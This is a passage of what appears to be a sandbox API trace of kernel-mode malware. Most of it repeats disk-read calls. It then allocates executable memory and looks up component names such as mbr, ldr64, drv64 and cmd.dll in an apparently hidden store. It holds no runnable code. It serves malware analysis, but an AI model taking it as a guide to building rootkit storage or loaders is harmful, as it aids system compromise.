MemoryDescriptorList=0xfffffa80038a5010) [0099.750] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.750] IdePortDispatch () returned 0x103 [0099.750] KeWaitForMutexObject () returned 0x0 [0099.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.750] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.750] IdePortDispatch () returned 0x103 [0099.750] KeWaitForMutexObject () returned 0x0 [0099.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.750] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.750] IdePortDispatch () returned 0x103 [0099.750] KeWaitForMutexObject () returned 0x0 [0099.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.751] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.751] IdePortDispatch () returned 0x103 [0099.751] KeWaitForMutexObject () returned 0x0 [0099.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.751] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.751] IdePortDispatch () returned 0x103 [0099.751] KeWaitForMutexObject () returned 0x0 [0099.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.751] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.751] IdePortDispatch () returned 0x103 [0099.751] KeWaitForMutexObject () returned 0x0 [0099.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.752] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.752] IdePortDispatch () returned 0x103 [0099.752] KeWaitForMutexObject () returned 0x0 [0099.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.752] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.752] IdePortDispatch () returned 0x103 [0099.752] KeWaitForMutexObject () returned 0x0 [0099.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.752] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.752] IdePortDispatch () returned 0x103 [0099.753] KeWaitForMutexObject () returned 0x0 [0099.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.753] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.753] IdePortDispatch () returned 0x103 [0099.753] KeWaitForMutexObject () returned 0x0 [0099.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.753] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.753] IdePortDispatch () returned 0x103 [0099.753] KeWaitForMutexObject () returned 0x0 [0099.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.753] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.753] IdePortDispatch () returned 0x103 [0099.754] KeWaitForMutexObject () returned 0x0 [0099.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.754] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.754] IdePortDispatch () returned 0x103 [0099.754] KeWaitForMutexObject () returned 0x0 [0099.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.754] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.754] IdePortDispatch () returned 0x103 [0099.754] KeWaitForMutexObject () returned 0x0 [0099.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.754] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.754] IdePortDispatch () returned 0x103 [0099.754] KeWaitForMutexObject () returned 0x0 [0099.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.755] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.755] IdePortDispatch () returned 0x103 [0099.755] KeWaitForMutexObject () returned 0x0 [0099.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.755] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.755] IdePortDispatch () returned 0x103 [0099.755] KeWaitForMutexObject () returned 0x0 [0099.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.755] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.755] IdePortDispatch () returned 0x103 [0099.755] KeWaitForMutexObject () returned 0x0 [0099.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.755] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.756] IdePortDispatch () returned 0x103 [0099.756] KeWaitForMutexObject () returned 0x0 [0099.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.756] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.756] IdePortDispatch () returned 0x103 [0099.756] KeWaitForMutexObject () returned 0x0 [0099.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.756] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.756] IdePortDispatch () returned 0x103 [0099.756] KeWaitForMutexObject () returned 0x0 [0099.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.756] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.756] IdePortDispatch () returned 0x103 [0099.756] KeWaitForMutexObject () returned 0x0 [0099.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.757] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.757] IdePortDispatch () returned 0x103 [0099.757] KeWaitForMutexObject () returned 0x0 [0099.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.757] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.757] IdePortDispatch () returned 0x103 [0099.757] KeWaitForMutexObject () returned 0x0 [0099.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.757] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.757] IdePortDispatch () returned 0x103 [0099.757] KeWaitForMutexObject () returned 0x0 [0099.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.758] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.758] IdePortDispatch () returned 0x103 [0099.758] KeWaitForMutexObject () returned 0x0 [0099.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.758] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.758] IdePortDispatch () returned 0x103 [0099.758] KeWaitForMutexObject () returned 0x0 [0099.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.758] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.758] IdePortDispatch () returned 0x103 [0099.758] KeWaitForMutexObject () returned 0x0 [0099.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.758] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.758] IdePortDispatch () returned 0x103 [0099.759] KeWaitForMutexObject () returned 0x0 [0099.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.759] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.759] IdePortDispatch () returned 0x103 [0099.759] KeWaitForMutexObject () returned 0x0 [0099.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.759] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.759] IdePortDispatch () returned 0x103 [0099.759] KeWaitForMutexObject () returned 0x0 [0099.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.759] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.759] IdePortDispatch () returned 0x103 [0099.760] KeWaitForMutexObject () returned 0x0 [0099.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.760] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.760] IdePortDispatch () returned 0x103 [0099.760] KeWaitForMutexObject () returned 0x0 [0099.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.760] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.760] IdePortDispatch () returned 0x103 [0099.760] KeWaitForMutexObject () returned 0x0 [0099.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.760] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.760] IdePortDispatch () returned 0x103 [0099.760] KeWaitForMutexObject () returned 0x0 [0099.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.760] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.760] IdePortDispatch () returned 0x103 [0099.761] KeWaitForMutexObject () returned 0x0 [0099.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.761] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.761] IdePortDispatch () returned 0x103 [0099.761] KeWaitForMutexObject () returned 0x0 [0099.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.761] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.761] IdePortDispatch () returned 0x103 [0099.761] KeWaitForMutexObject () returned 0x0 [0099.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.761] KeLeaveCriticalRegion () [0099.761] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.761] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x20000) returned 0x0 [0099.762] _snprintf (in: _Dest=0xfffff88002f8f3d0, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0099.762] KeEnterCriticalRegion () [0099.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff8800403a000 [0099.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.762] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.762] IdePortDispatch () returned 0x103 [0099.762] KeWaitForMutexObject () returned 0x0 [0099.762] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0099.762] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0099.762] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.762] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.762] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.762] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0099.762] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0099.762] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0099.762] 